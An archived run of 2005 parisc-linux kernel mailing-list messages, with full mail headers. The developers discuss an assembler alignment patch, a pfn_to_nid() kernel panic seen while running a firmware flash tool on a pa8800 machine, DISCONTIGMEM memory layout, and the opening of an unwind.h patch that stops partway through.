> To: soete.joel@tiscali.be (Joel Soete)
> Date: Thu, 28 Apr 2005 13:52:11 -0400 (EDT)
> From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
> Cc: grundler@parisc-linux.org, parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] head.S: a small typo
> 
> 
> > mmm is there importance in the order of:
> > 	.align 128
> > 	.text
> > rfi_virt2real:
> 
> Yes, put the .align after the .text.  You want to align the following
> text.
> 
ah my memory is not so bad ;-) (thanks)

> > But I mainly come back here with the fact that 64bit kernel works fin=
e
> while
> > its 32 bit twin panicing on same hw (b2k e.g.):
> > (to test ggg patch I run again my stress loop during about 20h on b2k=

with
> > the 64bit kernel without any pb ;-)
> > 
> > as far as I remember cffc() is only 32bit stuff so this patch would m=
ake
> 
> Yes.  You don't need it in 64-bit code.  Regarding cffc, GCC 4.0
> has a fix as to when canonicalization is done.  In 4.0 and later,
> canonicalization is only done when both sides of are function
> pointers.
> 
Cool, I will so either try to learn more on the status of deb pkg (gcc_sn=
apshot)
or use lfs procedure (just need more patience) ;-)

I will advise obviously :)

Thanks for all,
    Joel
 


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] BUG 2.6.12-rc3-pa1 PCI mmap panic
Date: Sun, 1 May 2005 01:49:01 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <20050501074901.GA13801@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623773 14435 80.91.229.3 (22 Nov 2014 02:36:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 May 2005 07:46:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 01 May 2005 09:46:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B70407D66C;
	Sun,  1 May 2005 01:46:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17815-01; Sun, 1 May 2005 01:46:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D6BF7D666;
	Sun,  1 May 2005 01:46:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 018CA7D663
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 May 2005 01:46:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17610-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 1 May 2005 01:46:24 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 7E3D87D662
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 May 2005 01:46:24 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B0058298056
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 May 2005 01:49:01 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12788-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 1 May 2005 01:49:01 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3C93F298034; Sun,  1 May 2005 01:49:01 -0600 (MDT)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NOwGYmR0eSE57L6WZHQhaXN2IGRvb0CT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22679

Trying to get "tvflash" running on pa8800. tvflash is a userspace
firmware flash tool for mellanox infiniband boards.
Works fine on x86, x86-64, ia64, ppc, and sparc64.
"tvflash -i" is supposed to go off and identify all
installed mellanox boards and which firmware rev they
currently have.

The panic is in pfn_to_nid():
        r = pfnnid_map[i];
        BUG_ON(r == 0xff);	<---- panic

Any clue what's broken?


[ sorry - feels like I'm reporting alot more problems than I'm
fixing lately *sigh* ]

thanks,
grant

grundler@ion:/usr/src/openib_gen2/src/userspace/tvflash$ sudo src/tvflash -i
open_hca(0)
kernel BUG at include/asm/mmzone.h:85!
Backtrace:
 [<0000000010113060>] dump_stack+0x18/0x28
 [<000000001018125c>] remap_pfn_range+0x37c/0x4b8
 [<00000000102413e4>] mmap_mem+0x2c/0x40
 [<0000000010187120>] do_mmap_pgoff+0x478/0x850
 [<0000000010114f84>] do_mmap2+0xa4/0x108
 [<0000000010115030>] sys_mmap+0x28/0x38
 [<0000000010107f80>] syscall_exit+0x0/0x14

Kernel panic - not syncing: BUG!
 <0>Rebooting in 5 seconds..
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.12-rc3-pa1 PCI mmap panic
Date: Sun, 01 May 2005 14:24:20 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <1114975460.4788.27.camel@mulgrave>
References: <20050501074901.GA13801@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623773 14437 80.91.229.3 (22 Nov 2014 02:36:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:13 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 May 2005 19:24:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 01 May 2005 21:24:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8570A7D67C;
	Sun,  1 May 2005 13:24:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22426-05; Sun, 1 May 2005 13:24:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB3947D67F;
	Sun,  1 May 2005 13:24:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A40277D65B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 May 2005 13:24:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22343-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 1 May 2005 13:24:30 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id DEFE07D654
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 May 2005 13:24:29 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j41JOOA28964; Sun, 1 May 2005 15:24:24 -0400
In-Reply-To: <20050501074901.GA13801@colo.lackof.org>
X-Mailer: Evolution 2.0.4 (2.0.4-4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UEgHYsx0eSE57L6WZHQhaXN2IGRvb0Cd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22680

On Sun, 2005-05-01 at 01:49 -0600, Grant Grundler wrote:
> Trying to get "tvflash" running on pa8800. tvflash is a userspace
> firmware flash tool for mellanox infiniband boards.
> Works fine on x86, x86-64, ia64, ppc, and sparc64.
> "tvflash -i" is supposed to go off and identify all
> installed mellanox boards and which firmware rev they
> currently have.
> 
> The panic is in pfn_to_nid():
>         r = pfnnid_map[i];
>         BUG_ON(r == 0xff);	<---- panic
> 
> Any clue what's broken?

pfnnid_map is a map per 1gb (currently what PFNNID_SHIFT defines) of our
memory range showing which discontig chunk this maps to.  0xff means the
range maps nowhere.

Without better debugging, it's hard to say, but I guess that this flash
tool is actually trying to mmap a region of memory on the PCI card and
it's tripping over this section of code.  My second order guess would be
that we don't update the pfnnid_map when we actually declare a card I/O
range, so the kernel thinks it can map the region OK but we erroneously
trip this bug.

I'm with Joel on this one: Can you reproduce the problem without
CONFIG_DISCONTIGMEM?

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] head.S: a small typo
Date: Sun, 01 May 2005 14:26:57 +0000
Lines: 35
Approved: news@gmane.org
Message-ID: <4274E731.6080207@tiscali.be>
References: <200504281752.j3SHqBeE005408@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623774 14440 80.91.229.3 (22 Nov 2014 02:36:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 May 2005 14:27:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 01 May 2005 16:27:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 157897D671;
	Sun,  1 May 2005 08:27:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20809-10; Sun, 1 May 2005 08:27:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8589B7D672;
	Sun,  1 May 2005 08:27:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D6E47D670
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 May 2005 08:27:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20806-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 1 May 2005 08:27:03 -0600 (MDT)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id 8AC2D7D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 May 2005 08:27:03 -0600 (MDT)
Original-Received: from [83.134.224.4] (helo=[83.134.224.4])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DSFPO-0000p6-Ac; Sun, 01 May 2005 16:26:58 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.7) Gecko/20050420 Debian/1.7.7-2
X-Accept-Language: en
In-Reply-To: <200504281752.j3SHqBeE005408@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bIIGYhBeeSE57L6WZHQhaXN2IGRvbwCS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22681

Hi Dave, Grant,

John David Anglin wrote:
>>mmm is there importance in the order of:
>>	.align 128
>>	.text
>>rfi_virt2real:
> 
> 
> Yes, put the .align after the .text.  You want to align the following
> text.
> 
Here is the patch so:
--- arch/parisc/kernel/real2.S.Orig     2005-01-08 16:58:49.000000000 +0100
+++ arch/parisc/kernel/real2.S  2005-05-01 15:45:32.000000000 +0200
@@ -143,8 +143,8 @@
  /* rfi_virt2real() and rfi_real2virt() could perhaps be adapted for
   * more general-purpose use by the several places which need RFIs
   */
-       .align 128
         .text
+       .align 128
  rfi_virt2real:
         /* switch to real mode... */
         ssm             0,0             /* See "relied upon translation" */
====<>====

Thanks to ci for me,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.12-rc3-pa1 PCI mmap panic
Date: Sun, 1 May 2005 11:24:02 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20050501172402.GC17998@colo.lackof.org>
References: <20050501074901.GA13801@colo.lackof.org>
	<4274FC81.4060906@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623774 14442 80.91.229.3 (22 Nov 2014 02:36:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 May 2005 17:21:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 01 May 2005 19:21:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 616627D67C;
	Sun,  1 May 2005 11:21:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21620-10; Sun, 1 May 2005 11:21:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 885D87D677;
	Sun,  1 May 2005 11:21:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBD037D673
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 May 2005 11:21:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21620-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 1 May 2005 11:21:26 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 640EA7D672
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 May 2005 11:21:26 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 3C3DF298056;
	Sun,  1 May 2005 11:24:04 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25988-05; Sun, 1 May 2005 11:24:02 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CA80F298034; Sun,  1 May 2005 11:24:02 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4274FC81.4060906@tiscali.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: THUHYh0LeSE57L6WZHQhaXN2IGRvbwCS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22682

On Sun, May 01, 2005 at 03:57:53PM +0000, Joel Soete wrote:
> it's CONFIG_DISCONTIGMEM

What's that mean?
I was hoping someone could explain what the BUG_ON()
that tripped would mean.

> so first of all do you need DISCONTIGMEM?

Erm, define "need". I try to run the same kernels on several
a500s - several of which have > 4GB RAM.

pa8800/ZX1 has 4GB RAM installed but only 1GB is in 32-bit address space.
The rest is remapped by HW to > 32-bit.

> eventhougt what hapened if you don't use this option?

No.

> (it would also boot just miss some ram)

"some" on pa8800 is not ok.
1GB for a 4-way, 1GHz box just isn't right.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] traps, unwind new patch proposal.
Date: Sun, 01 May 2005 14:25:12 +0000
Lines: 162
Approved: news@gmane.org
Message-ID: <4274E6C8.9020704@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623774 14445 80.91.229.3 (22 Nov 2014 02:36:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:14 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 May 2005 14:25:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 01 May 2005 16:25:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D63807D670;
	Sun,  1 May 2005 08:25:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20806-05; Sun, 1 May 2005 08:25:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D94167D66C;
	Sun,  1 May 2005 08:25:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 418F27D669
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 May 2005 08:25:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20809-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 1 May 2005 08:25:18 -0600 (MDT)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id 7463B7D666
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 May 2005 08:25:18 -0600 (MDT)
Original-Received: from [83.134.224.4] (helo=[83.134.224.4])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DSFNh-0003cl-Qz; Sun, 01 May 2005 16:25:14 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.7) Gecko/20050420 Debian/1.7.7-2
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: t4MGYhJJeSE57L6WZHQhaXN2IGRvb4Ca
Status: RO
X-Status: RC
X-KMail-EncryptionState: N
X-KMail-SignatureState: N
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22683

Hi Randolph and *,

Here is my new proposal to attempt to fix the show_stack() bug in the early boot stage:
--- include/asm-parisc/unwind.h.Orig    2005-05-01 15:55:25.000000000 +0200
+++ include/asm-parisc/unwind.h 2005-05-01 15:23:56.000000000 +0200
@@ -61,6 +61,14 @@
         unsigned long prev_sp, prev_ip;
  };

+struct unwind_frame_regs {
+       unsigned long sp, ip, rp, r31;
+};
+
+#define UFI_REGS_BUF_MAX       128     /* about 4k for LP64 */
+extern struct unwind_frame_regs ufi_regs_buf[UFI_REGS_BUF_MAX];
+extern unsigned int ufi_regs_buf_i;
+
  struct unwind_table *
  unwind_table_add(const char *name, unsigned long base_addr,
                  unsigned long gp, void *start, void *end);
@@ -68,9 +76,11 @@
  unwind_table_remove(struct unwind_table *table);

  void unwind_frame_init(struct unwind_frame_info *info, struct task_struct *t,
-                      struct pt_regs *regs);
